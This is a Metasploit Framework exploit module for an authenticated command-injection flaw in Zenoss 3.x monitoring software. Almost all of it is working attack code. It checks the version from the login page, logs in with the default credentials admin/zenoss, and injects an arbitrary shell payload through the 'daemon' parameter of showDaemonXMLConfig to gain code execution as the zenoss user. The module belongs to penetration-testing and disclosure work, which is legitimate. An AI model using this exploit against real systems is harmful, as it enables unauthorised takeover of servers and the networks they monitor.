##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Zenoss 3 showDaemonXMLConfig Command Execution',
   'Description'    => %q{
    This module exploits a command execution vulnerability in Zenoss 3.x
    which could be abused to allow authenticated users to execute arbitrary
    code under the context of the 'zenoss' user. The show_daemon_xml_configs()
    function in the 'ZenossInfo.py' script calls Popen() with user
    controlled data from the 'daemon' parameter.
   },
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
     #['OSVDB', 'None'],
     #['CVE', 'None'],
    ],
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 3 $',
   'Privileged'     => false,
   'Arch'           => ARCH_CMD,
   'Platform'       => 'unix',
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => "\x00",
     'DisableNops' => true,
    },
   'Compat' =>
    {
     'PayloadType' => 'cmd',
     'RequiredCmd' => 'generic python perl bash',
    },
   'Targets'        =>
    [
     [
      'Automatic Targeting', { 'auto' => true }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 30 2012'
  ))

  register_options([
   Opt::RPORT(8080),
   OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
   OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
  ], self.class)
 end

 def check

  @peer = "#{rhost}:#{rport}"

  # retrieve software version from login page
  begin
   res = send_request_raw({
    'method' => "GET",
    'uri'    => "/zport/acl_users/cookieAuthHelper/login_form"
   })
   return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
   return Exploit::CheckCode::Detected   if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
   return Exploit::CheckCode::Safe
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
   print_error("#{@peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

 end

 def exploit

  @peer    = "#{rhost}:#{rport}"
  username = datastore['USERNAME']
  password = datastore['PASSWORD']
  command  = URI.encode(payload.encoded)+"%26"
  postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"

  # send payload
  print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)")
  begin
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => "/zport/About/showDaemonXMLConfig",
    'data'      => "#{postdata}",
   })
   if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
    print_error("#{@peer} - Authentication failed. Incorrect username/password.")
    return
   end
   print_status("#{@peer} - Sent payload successfully")
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{@peer} - Connection failed")
  rescue
   print_error("#{@peer} - Sending payload failed")
  end

  handler

 end

end